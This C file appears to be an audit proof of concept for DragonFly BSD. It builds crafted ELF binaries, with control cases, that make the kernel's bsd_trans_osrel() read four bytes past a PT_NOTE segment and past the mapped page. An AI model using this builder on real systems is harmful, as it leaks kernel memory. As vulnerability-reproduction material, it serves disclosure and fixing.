/*
 * DF-5630 — OOB read past PT_NOTE segment end in bsd_trans_osrel().
 *
 * sys/kern/imgact_elf.c:check_PT_NOTE() validates a candidate note with
 * note_overflow(), which bounds ONLY n_namesz.  When the note header
 * matches the DragonFly brandnote ({10, 4, 1}, vendor "DragonFly",
 * BN_TRANSLATE_OSREL — the note registered by the brand this file under
 * audit binds at sys/cpu/x86_64/misc/elf_machdep.c:67), the callback
 * bsd_trans_osrel() unconditionally reads a 4-byte descriptor at
 *	(note + 1) + roundup2(n_namesz, 4)  == note + 24
 * (imgact_elf.c:1870-1872) even though only
 *	sizeof(Elf_Note) + n_namesz == 22 bytes were proven in-bounds.
 *
 * This builder emits binaries with EI_OSABI = 255 so ONLY the ABI-note can
 * brand them, and places the note so that it ends just before page end:
 *	bug      : p_offset=4072 p_filesz=22 (header+name, NO descriptor)
 *	          -> descriptor read at image_header[4096..4099] = 4 bytes past
 *	             the lwbuf-mapped first page (DMAP: adjacent physical page)
 *	control  : p_offset=4064 p_filesz=28 (header+name+pad+desc=0x44332211)
 * controlnonote: no PT_NOTE at all.
 * All carry a PT_LOAD of a 2-byte `jmp .-0` stub at file offset 256
 * (vaddr 0x400100, the entry point) so a successfully-branded process
 * stays alive for post-mortem p_osrel inspection (see df_osrel.c).
 *
 * Expected on a vulnerable kernel:
 *	bug       -> process runs (spins), p_osrel = 4 OOB bytes (varies)
 *	control   -> process runs (spins), p_osrel = 0x44332211
 *	nonote    -> ENOEXEC ("Exec format error")
 */
#include <sys/stat.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

#define PHNUM		2
#define CODE_OFF	256
/* note offsets MUST be 4-aligned: check_PT_NOTE() breaks on
 * aligned(note, Elf32_Addr) otherwise (image_header is page-aligned). */
#define NOTE_OFF_BUG	4072		/* +22 -> note ends at 4094; the   */
#define NOTE_SZ_BUG	22		/* descriptor read at 4096..4099  */
					/* is fully past the mapped page  */
#define NOTE_OFF_CTL	4064		/* +28 -> full note incl. 4-byte  */
#define NOTE_SZ_CTL	28		/* descriptor, ends at 4092       */
#define FILESZ		4095

static void put16(uint8_t *p, uint16_t v){ p[0]=v&0xff; p[1]=v>>8; }
static void put32(uint8_t *p, uint32_t v){ memcpy(p, &v, 4); }
static void put64(uint8_t *p, uint64_t v){ memcpy(p, &v, 8); }

static void
common_ehdr(uint8_t *buf)
{
	buf[0]=0x7f; buf[1]='E'; buf[2]='L'; buf[3]='F';
	buf[4]=2; buf[5]=1; buf[6]=1;
	buf[7]=255;			/* EI_OSABI = invalid: note-only branding */
	put16(buf+16, 2);		/* ET_EXEC */
	put16(buf+18, 62);		/* EM_X86_64 */
	put32(buf+20, 1);
	put64(buf+24, 0x400000 + CODE_OFF);	/* e_entry -> stub vaddr */
	put64(buf+32, 64);		/* e_phoff */
	put64(buf+40, 0);
	put32(buf+48, 0);
	put16(buf+52, 64);		/* e_ehsize */
	put16(buf+54, 56);		/* e_phentsize */
	put16(buf+56, PHNUM);
	put16(buf+58, 0);
	put16(buf+60, 0);
	put16(buf+62, 0);
}

static void
put_load(uint8_t *buf)
{
	uint8_t *ph = buf + 64;
	put32(ph+0,  1);		/* PT_LOAD */
	put32(ph+4,  5);		/* R+X */
	put64(ph+8,  CODE_OFF);
	put64(ph+16, 0x400000);
	put64(ph+24, 0);
	put64(ph+32, 2);		/* filesz: "eb fe" = jmp .-0 at file 256 */
	put64(ph+40, 258);		/* memsz: span up to the entry (0x400100)
					 * so exec_elf64_imgact() sets e_entry */
	put64(ph+48, 16);
	buf[CODE_OFF+0] = 0xeb;		/* jmp rel8 -2 */
	buf[CODE_OFF+1] = 0xfe;
}

static void
put_note_phdr(uint8_t *buf, uint64_t off, uint64_t sz)
{
	uint8_t *ph = buf + 64 + 56;
	put32(ph+0,  4);		/* PT_NOTE */
	put32(ph+4,  0);
	put64(ph+8,  off);
	put64(ph+16, off);
	put64(ph+24, 0);
	put64(ph+32, sz);
	put64(ph+40, sz);
	put64(ph+48, 4);
}

int
main(int argc, char **argv)
{
	uint8_t buf[FILESZ];
	const char *vendor = "DragonFly";
	uint32_t ctl_desc = 0x44332211;
	FILE *f;

	if (argc < 3) {
		fprintf(stderr, "usage: %s bug|control|nonote out.bin\n", argv[0]);
		return 2;
	}
	memset(buf, 0, sizeof(buf));
	common_ehdr(buf);
	put_load(buf);

	if (strcmp(argv[1], "bug") == 0) {
		/* header + name, ends at 4095: descriptor fully OOB */
		put_note_phdr(buf, NOTE_OFF_BUG, NOTE_SZ_BUG);
		put32(buf+NOTE_OFF_BUG+0, 10);	/* n_namesz */
		put32(buf+NOTE_OFF_BUG+4, 4);	/* n_descsz (claimed!) */
		put32(buf+NOTE_OFF_BUG+8, 1);	/* n_type */
		memcpy(buf+NOTE_OFF_BUG+12, vendor, strlen(vendor)+1);
	} else if (strcmp(argv[1], "control") == 0) {
		/* full note incl. 4-byte descriptor, still ends at 4095 */
		put_note_phdr(buf, NOTE_OFF_CTL, NOTE_SZ_CTL);
		put32(buf+NOTE_OFF_CTL+0, 10);
		put32(buf+NOTE_OFF_CTL+4, 4);
		put32(buf+NOTE_OFF_CTL+8, 1);
		memcpy(buf+NOTE_OFF_CTL+12, vendor, strlen(vendor)+1);
		memcpy(buf+NOTE_OFF_CTL+24, &ctl_desc, 4);
	} else {
		/* nonote: keep phnum 2? drop to 1 by zeroing 2nd phdr type */
		put32(buf+64+56+0, 0);	/* PT_NULL */
	}

	f = fopen(argv[2], "wb");
	if (!f) { perror("fopen"); return 2; }
	fwrite(buf, 1, sizeof(buf), f);
	fclose(f);
	chmod(argv[2], 0755);
	return 0;
}
